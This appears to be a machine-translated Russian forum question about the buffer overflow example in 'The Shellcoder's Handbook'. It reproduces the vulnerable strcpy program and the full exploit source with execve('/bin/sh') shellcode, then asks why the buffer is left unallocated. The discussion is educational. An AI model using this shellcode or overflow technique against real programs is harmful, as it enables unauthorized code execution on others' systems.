Атака "Руководства Shellcoder". c не имеет смысла - PullRequest
0 голосов
/ 27 марта 2020

Из «Справочника по шелкодеру», жертва. c выглядит следующим образом

// victim.c
int main(int argc,char *argv[])
{
   char little_array[512];

   if (argc > 1) 
      strcpy(little_array,argv[1]);
}

Его эксплойт, атака. c выглядит следующим образом

#include <stdlib.h>

#define offset_size                    0
#define buffer_size                    512

char sc[] =
  "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
  "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
  "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; //the shellcode(Spawn shell)


unsigned long find_start(void) {
   __asm__("movl %esp,%eax"); //Get ESP's value and return it.
}

int main(int argc, char *argv[]) 
{
  char *buff, *ptr;
  long *addr_ptr, addr; //addr_ptr: The address of the NOP sled to jump to when the program retrieves its saved EIP.
  int offset=offset_size, bsize=buffer_size;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  addr = find_start() - offset;
  printf("Attempting address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
       *(addr_ptr++) = addr;

  ptr += 4;

  for (i = 0; i < strlen(sc); i++)
          *(ptr++) = sc[i];

  buff[bsize - 1] = '\0';

  memcpy(buff,"BUF=",4);
  putenv(buff);
  system("/bin/bash");
}

ptr = buff; присваивает значение мусора баффа ptr (бафф не инициализируется). Следующая строка, addr_ptr = (long *) ptr;, присваивает значение ptr (значение мусора buff) addr_ptr. Намерение автора на эти строки мне неясно. Предполагается, что addr_ptr содержит адрес, на который переходит программа, предпочтительно салазки NOP, когда она получает сохраненный EIP. Тем не менее, addr_ptr содержит вместо этого значение мусора.

Я считаю, buff должен быть распределен динамически, сначала используется mallo c.

Я знаю, что в "Руководстве по Shellcoder" есть много ошибок, но это одна из немногих книг, в которых говорится об эксплуатации программного обеспечения.

...